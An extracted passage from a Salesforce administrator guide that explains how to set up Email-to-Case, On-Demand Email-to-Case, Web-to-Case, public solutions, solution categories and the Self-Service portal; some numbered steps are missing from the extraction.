6. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1014.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 423.
This topic describes how to enable and configure Email-to-Case using the options available on the Email-to-Case Settings
page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and
after the tasks described in this topic.
1103
Customize Enabling and Configuring Email-to-Case
This topic is intended for customers who are running the Email-to-Case agent within their network's firewall, as opposed to
On-Demand Email-to-Case which uses Apex email services. For information on enabling and configuring On-Demand
Email-to-Case, see Enabling and Configuring On-Demand Email-to-Case on page 1107.
Before getting started, review the information in Tips on Email-to-Case on page 1106.
To implement Email-to-Case, you need to add a new email routing address, verify the new email routing address, and enable
Email-to-Case:
2. From the Routing Addresses related list, click New. You can create up to 50 routing addresses to administer separate email
addresses for Email-to-Case. A routing address is activated after Email-to-Case is enabled.
3. Enter the routing address settings.
Setting Description
Routing Name The name for the routing address. For example, Gold
Support or Standard Support.
Email Address The inbound email address for this Email-to-Case routing
address. Emails sent to this address are created as cases using
the specified settings. The email address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.
Save Email Headers Select this checkbox to save the email routing information
associated with each email submitted as a case. Saving email
routing information counts towards your organization's
overall storage limit.
To view email headers from an email converted to a case,
see Working with Case Emails on page 2290.
Create Task from Email Select this checkbox to automatically assign a task to the
case owner when an email is submitted as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 1047
and Customizing Support Settings on page 1097.
1104
Customize Enabling and Configuring Email-to-Case
Setting Description
Task Status Choose a status from this drop-down list with which to
predefine the Status field on tasks automatically assigned
to case owners when email is submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.
Case Priority The priority assigned to cases created from emails sent to
this email address.
Case Origin The value assigned to the Case Origin field for cases
created via this Email-to-Case routing information.
Case Record Type The record type used to create cases from emails sent to this
email address. If a routing address has a case record type of
“None,” then new cases will default to the record type of the
user configured in the Email-to-Case agent. If your
organization does not use record types, this setting is not
available.
1105
Customize Enabling and Configuring Email-to-Case
Email Body Select this checkbox to add the thread ID to the body of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.
9. Click Save.
Tips on Email-to-Case
Consider the following when setting up a routing address for Email-to-Case:
• When a customer sends an email to this routing address, a case is created in your organization with the email subject as
the case Subject and the email body as the case Description.
• The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email. Salesforce.com processes the
routing address of an inbound email in the following order and stops at the first match:
1. To
2. CC
3. BCC
Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email.
• To have cases that are created via Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service
Features and Settings on page 1122.
• The limit on the number of emails a day that an organization can convert into cases is 2500 per day for Professional,
Enterprise, Unlimited, and Developer Editions (total number of cases, inclusive of all email addresses). If your organization
exceeds its daily Email-to-Case limit, the following API exception code is returned to the Email-to-Case agent:
EMAIL_TO_CASE_LIMIT_EXCEEDED. You can configure the agent to take appropriate action, such as notifying
your administrator, when this occurs.
1106
Customize Enabling and Configuring On-Demand Email-to-Case
• Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to emails.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
• When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 776.
See Also:
Displaying and Editing Cases
Working with Case Emails
Managing Assignment Rules
Setting Up Auto-Response Rules
This topic describes how to enable and configure On-Demand Email-to-Case using the options available on the Email-to-Case
Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before
and after the tasks described in this topic.
Before getting started, review the information in Tips and Considerations for On-Demand Email-to-Case on page 1111.
To enable and configure On-Demand Email-to-Case, perform the following procedures in order:
1107
Customize Enabling and Configuring On-Demand Email-to-Case
Setting Description
Routing Name The name for the routing address. For example, Gold
Support or Standard Support.
Email Address The inbound email address for this On-Demand
Email-to-Case routing address. Email sent to this address
creates new cases using the specified settings. The email
address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.
Save Email Headers Select this checkbox to save the email routing information
associated with each email submitted as a case. Saving email
routing information counts towards your organization's
overall storage limit. For more information, see Monitoring
Resources on page 595.
To view email headers from an email converted to a case,
see Working with Case Emails on page 2290.
Accept Email From Leave this field blank to allow On-Demand Email-to-Case
to receive email from any email address or domain. Or, you
can limit the email addresses and domains available for
On-Demand Email-to-Case by entering them in this field.
Create Task from Email Select this checkbox to automatically assign a task to the
case owner when an email is submitted as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 1047
and Customizing Support Settings on page 1097.
Task Status Choose a status from this drop-down list with which to
predefine the Status field on tasks automatically assigned
to case owners when email is submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.
1108
Customize Enabling and Configuring On-Demand Email-to-Case
Setting Description
Case Priority The priority assigned to cases created from emails sent to
this email routing address.
Case Origin The value assigned to the Case Origin field for email sent
to this email routing address.
Case Record Type The record type used to create cases from emails sent to this
email routing address.
This setting is not available if your organization does not
use record types.
The user in the Automated Case User field on the
Support Settings page will automatically receive a notification
if he or she does not have access to the selected case record
type.
4. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then
create a new routing address.
You can only save routing addresses if a user is included in the Automated Case User field on the Support Settings
page. To add a user to the Automated Case User field, click Setup ➤ Customize ➤ Cases ➤ Support Settings.
A verification email is immediately sent to the new routing address which includes a link that you click to complete the
verification process. The new routing address will not be verified until you open the email and click the link.
5. Click the link in the verification email.
When the new email routing address is verified, it is listed as Verified in the Routing Addresses related list on the
Email-to-Case Settings page. In addition, Salesforce.com automatically generates a unique email service address with
which you configure your email system to forward case submissions. This email services address displays in the Routing
Addresses related list on the Email-to-Case Settings page and on the detail page of a each routing address.
Tip: To send additional verification emails to a new routing address, go to the Routing Addresses related list on the
Email-to-Case Settings page and click Verify next to the email address.
After verifying a routing address, click its name in the Routing Addresses related list to view its details, edit its settings,
or clone new copies of it.
1109
Customize Enabling and Configuring On-Demand Email-to-Case
Email Body Select this checkbox to add the thread ID to the body of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.
Over Email Rate Limit Action Choose what On-Demand Email-to-Case does with email
that surpasses the daily email processing limit for your
organization:
• Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.
• Discard message - The email service deletes the message
without notifying the sender.
• Requeue message - The email service queues the message
for processing in the next 24 hours. If the message is not
processed within 24 hours, the email service returns the
message to the sender with a notification that explains
why the message was rejected.
For more information on email processing limits, see Tips
and Considerations for On-Demand Email-to-Case.
Unauthorized Sender Action If you limited the email addresses and domains available for
On-Demand Email-to-Case in the Accept Email From
field, choose what happens to messages received from senders
who are blocked:
1110
Customize Enabling and Configuring On-Demand Email-to-Case
4. Click Save.
• A Data Not Available error displays if you have an email service named “EmailToCase.“ If you have an email service
named “EmailToCase,” and you wish to create routing addresses for On-Demand Email-to-Case, you must:
• The following error message is sent to the Automated Case User after an email is converted to a case and a workflow
rule attempts to add a field value to the case that surpasses field value limits:
CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: A workflow or approval field update caused
an error when saving this record. Contact your administrator to resolve it. When
this error occurs, any auto-response rules set up in your organization do not send a response to the user who sent the email.
You can prevent similar errors from happening by deactivating the workflow rule.
• When a customer sends an email to a routing address, a case is created in your organization with the email subject as the
case Subject and the email body as the case Description.
• Salesforce.com limits the total number of messages that On-Demand Email-to-Case can process to 2500 email messages
per day. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how
you configure over email rate limit settings.
• Apex email services limits apply to On-Demand Email-to-Case.
Text in an email that is over 100 KB is automatically truncated to 32 KB to fit a case record.
• The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email.
• Salesforce.com processes the routing address of an inbound email in the following order and stops at the first match:
1. To
2. CC
1111
Customize Enabling Public Solutions
3. BCC
Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email. Furthermore, an email may not convert
to a case properly if you include the email services address in the BCC field of an email.
• If you use Microsoft Outlook® to redirect emails to a routing address:
This is because some versions of Outlook redirect emails with only one address in the To field and no addresses in the CC
field. To prevent these issues, consider using Microsoft Exchange Server instead of Outlook to redirect emails to a routing
address.
• To have cases that are created via On-Demand Email-to-Case automatically display in the Self-Service portal, see Enabling
Self-Service Features and Settings on page 1122.
• Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to email.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
• If there is an error processing an email to a case via a routing address, then a notification is sent to the user who created
the routing address.
• If email is sent to a routing address or email services address when On-Demand Email-to-Case is disabled, then a notification
is sent to the user who created the routing address.
• When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 776.
See Also:
Creating Workflow Rules
Setting Up Auto-Response Rules
Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find
helpful. Using HTML code supplied by Salesforce.com, and with the help of your website administrator, you can add a search
box and button to your website that allows your customers to search for solutions. This functionality is known as Public
Solutions.
1112
Customize Enabling Public Solutions
With public solutions, your customers can find answers to frequently asked questions without having to call your customer
support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked
will be available as public solutions, including any solution attachments.
Public solutions are different from the Self-Service portal and Salesforce.com Customer Portal because users are not required
to log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer
Portal, see Setting Up Self-Service on page 1120 and Setting Up Your Customer Portal on page 1306.
Note:
• The search box and button are displayed in a frame; your website must support frames in order for the solution
search feature to work.
• Suggested solutions does not display Salesforce Knowledge articles.
Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as
public solutions.
6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and
Minimum Page Height.
7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a
sample file as a starting point later, or use your own file.
8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular
and plural versions of the term.
9. Click Save.
10. If desired, click Download Sample CSS File to get the Salesforce.com style sheet.
11. Click Generate HTML.
12. Copy the resulting HTML code and click Finished.
13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows:
1113
Customize Capturing Web Cases
With Web-to-Case, you can gather customer support requests directly from your company’s website and automatically generate
up to 500 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of
your support team.
Preparation
Before setting up Web-to-Case:
• Create custom case fields, if needed (see About Custom Fields on page 811).
• Create a default email template for the automated notification email that will be sent to your customers upon submission
of each case (see Managing Email Templates on page 423).
• Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on
page 500).
• Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule
(see Customizing Support Settings on page 1097).
• Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see
Managing Assignment Rules on page 1046). If you do not set an active assignment rule, all web-generated cases are assigned
to the default owner you specify in the Support Settings.
For information on setting up Web-to-Case, see Setting Up Web-to-Case on page 1114.
Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions
To set up Web-to-Case:
a. Click the link to enable Web-to-Case, and check the box to turn it on.
b. Select a default response template for automatically notifying customers that their case was created.
1114
Customize Setting Up Web-to-Case
If you set up response rules to use different email templates based on the information submitted, the default email
template is used when no response rules apply. For instructions on setting up response rules, see Setting Up
Auto-Response Rules on page 1055. Leave this option blank if you do not wish to send emails when no response rules
apply. This template must be marked as “Available for Use.”
c. Choose the default Origin for all Web cases, and click Save.
d. Click Generate the HTML.
Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.
e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between
the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on
your form.
For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency
amount fields, otherwise all amounts will be captured in your corporate currency.
For organizations using record types on cases, select the Case Record Type field if you want users submitting
Web-generated cases to select specific record types.
f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible
to users in these portals, select Visible in Self-Service Portal.
g. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels
displayed on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language.
h. Specify the complete URL to which customers should be directed after they submit their information, and click
Generate. This could be a “thank you” page or your company's home page.
3. Copy the generated HTML code and provide it to your company’s webmaster so he or she can incorporate it into your
website.
4. Click Finished.
5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to
the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing
the Web-to-Case page to your website.
Note:
• All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default
case owner specified in your Support Settings.
• Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on
the customer’s email address.
• Salesforce.com runs field validation rules before creating records submitted via Web-to-Case and only creates
records that have valid values. All universally required fields must have a value before a record can be created via
Web-to-Case.
1115
Customize Managing Solution Categories
• The format for date and currency fields captured online is taken from your organization’s default settings - Default
Locale and Currency Locale. If your organization exceeds its daily Web-to-Case limit, the default case owner
(specified in your Support Settings) will receive an email containing the additional case information
See Also:
Assigning Cases
Displaying and Editing Cases
Managing Assignment Rules
Setting Up Customer Support
Setting Up Self-Service
Setting Up Auto-Response Rules
Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can
browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions
by category in public solutions, the Self-Service portal, and the Customer Portal.
To learn more, see:
1116
Customize Defining Solution Categories
Keep in mind that you can also allow customers to find solutions by category in public solutions and your Self-Service
portal. You can specify that customers can view only solutions in a particular category and all of its subcategories.
2. Define your categories; see Defining Solution Categories on page 1117.
3. Categorize your solutions; see Categorizing Solutions on page 2335. Administrators, and users with the “Manage Categories”
permission, can categorize solutions prior to enabling solution categories for the entire organization.
4. Create a custom report of type Solution Categories to verify that all solutions are categorized appropriately. To find any
uncategorized solutions, use the advanced report filters; choose the Category Name field and the “equals” operator, and
leave the third field blank. Administrators, and users with the “Manage Categories” permission, can create solution category
reports prior to enabling solution categories for the entire organization.
5. Enable solution category browsing for the Solutions tab; see Customizing Solution Settings on page 1118.
6. Enable solution category browsing for customers using public solutions and your Self-Service portal. See Enabling Public
Solutions on page 1112 and Enabling Self-Service Features and Settings on page 1122.
7. Specify the top-level category accessible by customers using public solutions and your Self-Service portal. This is useful if
you want to have certain categories available only to internal staff.
Leave this blank if you want customers to view all categories and all solutions that are visible in Self-Service portal or visible
in public solutions.
See Also:
Managing Solution Categories
6. Click Save.
7. After creating categories, categorize your solutions. See Categorizing Solutions on page 2335. Administrators, and users
with the “Manage Categories” permission, can categorize solutions prior to enabling solution categories for the entire
organization.
8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution
Settings on page 1118.
9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public
Solutions on page 1112 and Enabling Self-Service Features and Settings on page 1122.
1117
Customize Customizing Solution Settings
See Also:
Categorizing Solutions
Entering Translated Terms
1118
Customize Customizing Solution Settings
in Self Service Portal and Enable Multilingual Solution Search for Public Solutions settings.
If you select the Enable Multilingual Solutions checkbox again, the associations between master and translated
solutions are restored.
5. Select Enable Multilingual Solution Search in Self-Service Portal to add a language drop-down list
to the Self-Service portal that automatically restricts search results to solutions that match the Self-Service portal user’s
language. From the language drop-down list, Self-Service portal users can choose whether to search for solutions in a
specific language or any language supported by Salesforce.com.
Deselecting this checkbox removes the language drop-down list from the Self-Service portal, and search results include
solutions in all languages, regardless of the Self-Service portal user's language.
6. Select Enable Multilingual Solution Search for Public Solutions to add a language drop-down list to
public solutions so that public solutions users can choose which language to search for solutions. From the language
drop-down list, public solutions users can choose whether to search for solutions in a specific language or any language
supported by Salesforce.com.
Deselecting this checkbox removes the language drop-down list from public solutions, and search results include solutions
in all languages.
7. Select Enable HTML Solutions to create and display solutions in HTML. When enabled, solutions appear in HTML
in Salesforce.com, public solutions, Self-Service portal, and Salesforce.com Customer Portal. Using HTML Solutions
allows users to easily format solution details by changing fonts and colors, and adding images and hyperlinks.
Caution: Once you select Enable HTML Solutions, you cannot disable it.
8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting
this checkbox removes the solution summary from the results.
9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which
the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results.
10. Click Save.
11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions
on page 1112 and Enabling Self-Service Features and Settings on page 1122.
In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not
need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service
portal or visible in public solutions.
See Also:
Categorizing Solutions
Managing Solution Categories
Enabling Multilingual Solutions
Setting Up Your Customer Portal
1119
Customize Setting Up Self-Service
Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting
a customer service representative.
Setting up your Self-Service portal is simple. Choose from two setup options:
• Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 1121.
• Self-Service Setup - Complete setup which allows you more customization. The setup consists of:
See Preparation for Setting Up Your Portal to learn more about implementing Self-Service.
See Also:
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Look and Feel
Self-Service Jump Start
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
• Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions
marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See
1120
Customize Self-Service Jump Start
Reviewing Solutions on page 2333.) For your Self-Service portal only, identify the top five solutions you want to feature on
the Home Page.
• Determine the information to show and collect - Decide which case fields will be available when users view their cases.
You should also decide which fields should be required when users submit cases online and which picklist values users can
select when they solve their own cases with suggested solutions. (See Case Fields on page 2294.)
• Designate the portal's location - Choose where to add your portal's login URL on your corporate website. To locate the
login URL for your Self-Service portal, see Generating Login HTML on page 1137; to locate the login URL for your
Customer Portal see Enabling Customer Portal Login and Settings on page 1313.
• Customize your portal communication templates - Decide which email templates to send to users to communicate a
variety of information, such as reset passwords, notifications when public comments are added to cases, and case
auto-responses with suggested solutions.
• Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip
sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to
submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries
using your portal.
See Also:
Setting Up Self-Service
Enabling Salesforce CRM Content in the Customer Portal
Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some
default settings for you.
6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place
on your website.
7. Click Done when finished.
1121
Customize Enabling Self-Service Features and Settings
8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 1138.
Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 1122. The Self-Service
Jump Start automatically enables the Enable Self-Service button on contact detail pages.
Setting Description
Login Enabled Allows users to log into the Self-Service portal.
Edit Self-Service Users Displays the Enable Self-Service button on contact detail
pages. Or, for contacts in which Self-Service is already
enabled, the View Self-Service button displays.
Logout URL The URL of the web page that will be displayed when users
log out of the Self-Service portal, for example,
http://www.acme.com. If a logout URL is not specified,
the Logout button does not display to users.
Default Case Origin The default origin assigned to all cases submitted via the
Self-Service portal. Available values are taken from your
organization's Case Origin picklist. You can assign
different default origins for cases submitted via Self-Service
and Web-to-Case.
New Cases Visible in Self-Service Portal Automatically selects the Visible in Self-Service
Portal checkbox for all new cases, including cases created
via Web-to-Case, Email-to-Case, and On-Demand
Email-to-Case.
1122
Customize Enabling Self-Service Features and Settings
Setting Description
Regardless of this default, users creating new cases can
manually set the Visible in Self-Service Portal
checkbox.
Enable Solution Browsing Enables solution categories in the Self-Service portal so that
customers can browse solutions by category.
If multilingual solutions is enabled, you can translate solution
categories. For more information, see Entering Translated
Terms on page 441.
Top-Level Category for Self-Service Portal The top-level category accessible by customers in the
Self-Service portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
Leave this blank to let customers view all solutions marked
Visible in Self-Service Portal in all categories.
Case Record Type The record type to assign to any case submitted via the
Self-Service portal.
"From" Email Address The email address from which all new user and password
emails will be sent, for example, support@acme.com.
When this field is blank, Salesforce.com uses:
• The Automated Case User's email address for users who
receive an email with a temporary password by clicking
Forgot your password? on the Login Page of the
Self-Service portal. The Automated Case User is
specified at Setup ➤ Customize ➤ Cases ➤ Support
Settings.
• The email address of the user who last posted a comment
for users who receive a case comment notification email.
"From" Email Name The name that will be associated with the “From” Email
Address, for example, “Acme Customer Support.” When
this field is blank, Salesforce.com uses:
• Your organization's name for users who receive an email
with a temporary password by clicking Forgot your
password? on the Login Page of the Self-Service portal.
• The name of the user who last posted a comment for
users who receive a case comment notification email.
New User Template The email template used to send a username and initial
password to all newly-enabled Self-Service users. Self-Service
automatically selects a sample template for you. To create
your own template or modify the sample, see Managing
Email Templates on page 423.This template must be marked
as “Available for Use.”
1123
Customize Enabling Self-Service Features and Settings
Setting Description
New Password Template The email template used to send a new password to existing
Self-Service users when you reset their passwords or when
they reset their own passwords by clicking Forgot your
password? on the Login Page of the Self-Service portal.
Self-Service automatically selects a sample template for you.
To create your own template or modify the sample, see
Managing Email Templates on page 423.This template must
be marked as “Available for Use.”
Enable Notification Email on New Case When selected, indicates that the Send Customer
Comment Notification option on a case comment is displayed.
Enable Case Auto-Response Rules for Indicates if cases submitted through your Self-Service portal
Self-Service Cases will trigger your auto-response rules.
Case Creation Template The email template to use when cases submitted through
your Self-Service portal do not match any auto-response
rules.
Maximum Page Width The maximum pixel width of the Self-Service pages from
Salesforce.com. If hosting the portal yourself, this is the
width of the inner HTML frame on your Self-Service login
page.
Minimum Page Height The minimum pixel height of the Self-Service pages from
Salesforce.com.
Style Sheet URL The complete, publicly accessible URL of your organization’s
Self-Service style sheet, for example,
“http://www.acme.com/styles/selfservice.css.” See
Customizing Your Self-Service Look and Feel on page 1125.
If you use a predefined color theme, leave this field blank.
Color Theme Use one of Salesforce.com’s color themes if you do not have
your own style sheet to use. Click the View link to see
1124
Customize Enabling Self-Service Features and Settings
Setting Description
template settings. To change the fonts and colors of one of
Salesforce.com’s color themes, see Customizing Your
Self-Service Fonts and Colors on page 1128.
Case Single Term Term used on the Self-Service portal instead of “case”
(singular form).
Case Plural Term Term used on the Self-Service portal instead of “cases”
(plural form).
Solution Single Term Term used on the Self-Service portal instead of “solution”
(singular form).
Solution Plural Term Term used on the Self-Service portal instead of “solutions”
(plural form).
See Also:
Setting Up Self-Service
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
Generating Login HTML
Managing Self-Service Users
Self-Service Jump Start
Develop a meaningful look and feel for your entire Self-Service portal.
Follow these steps:
1125
Customize Enabling Self-Service Features and Settings
1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections
on page 1126.
2. Customize the Self-Service portal fonts and colors via one of these options:
• Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page
1127.
• Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on
page 1128.
See Also:
Customizing Your Self-Service Pages
Self-Service Jump Start
Apply your company’s branding to every page in your Self-Service portal by customizing your page headers and footers. Your
portal page headers and footers can contain a company logo, your company messaging, or your company’s colors.
1126
Customize Enabling Self-Service Features and Settings
See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme
allows you to incorporate your organization’s branding into your Self-Service portal.
Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service
Fonts and Colors on page 1128.
See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
1127
Customize Customizing Your Self-Service Fonts and Colors
You can customize the fonts and colors of the Self-Service portal to reflect your company’s branding. Your portal’s fonts and
colors are specified in a portal “color theme.” Select a predefined color theme and customize it using a point-and-click editor.
1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Fonts and Colors. Salesforce.com offers predefined
themes that you can customize. Click Preview to view any theme.
2. Select the color theme you want to customize.
From the color theme page, you can:
• Click the Reset to Default link to remove all customizations from a theme.
• Click the Back to All Themes link to return to the list of color themes.
• Click Preview <Theme Name> to view the theme you are customizing.
3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by
multiple pages.
From the portal page, you can:
• Click See Examples to see all of the elements that you can customize.
• Click Clear next to an element to remove customizations.
• Click Preview <Theme Name> to view the theme you are customizing.
• Click the Back to All Pages link to return to the list of all portal pages.
4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page,
and some are shared across multiple portal pages. Changes you make to shared elements affect all pages.
Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom
style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to
switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to
access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them.
• Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced
attributes box.
1128
Customize Customizing Your Self-Service Pages
6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service
users until you set the color theme as active.
7. Repeat these steps to customize all visual elements and their attributes as necessary.
8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link.
9. Click Set Active Theme.
10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme.
11. Click Save.
Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme
before activating it so as not to disturb your customers.
Note:
• You cannot create multiple versions of the same Self-Service portal page. However, you can customize each
Self-Service page.
1129
Customize Customizing Your Self-Service Pages
See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Self-Service Jump Start
The following is a list of Self-Service page attributes which can be modified with the point-and-click editor:
1130
Customize Customizing Your Self-Service Pages
See Also:
Customizing Your Self-Service Fonts and Colors
You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page
is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to
automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary
password when logging in. For details on setting up the new password template, see New Password Template on page 1124.
1131
Customize Customizing Your Self-Service Pages
1. To customize this page, click Edit next to the Login Page listed.
2. Check Show Message to display your message on the login page.
3. Insert a page message. Use the format toolbar to format your page message. For descriptions of the HTML formatting
buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
4. Click Save.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page
is the first page that users see after they log in.
Feature Description
Show Top Solutions List Lists the titles of up to five solutions of your choice on the
Home Page.
Show My Open Cases Lists the open cases of the Self-Service user who is logged
in.
Show Message The message that will be displayed at the top of the home
page. You can enter a message of up to 32,000 characters
including any HTML tags.
1132
Customize Customizing Your Self-Service Pages
3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
5. Click Save.
6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows
users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions.
1133
Customize Customizing Your Self-Service Pages
7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows
users to submit new cases to your customer support team. New cases submitted from this page will be automatically created
in Self-Service and assigned to the support representative or queue defined by your case assignment rules.
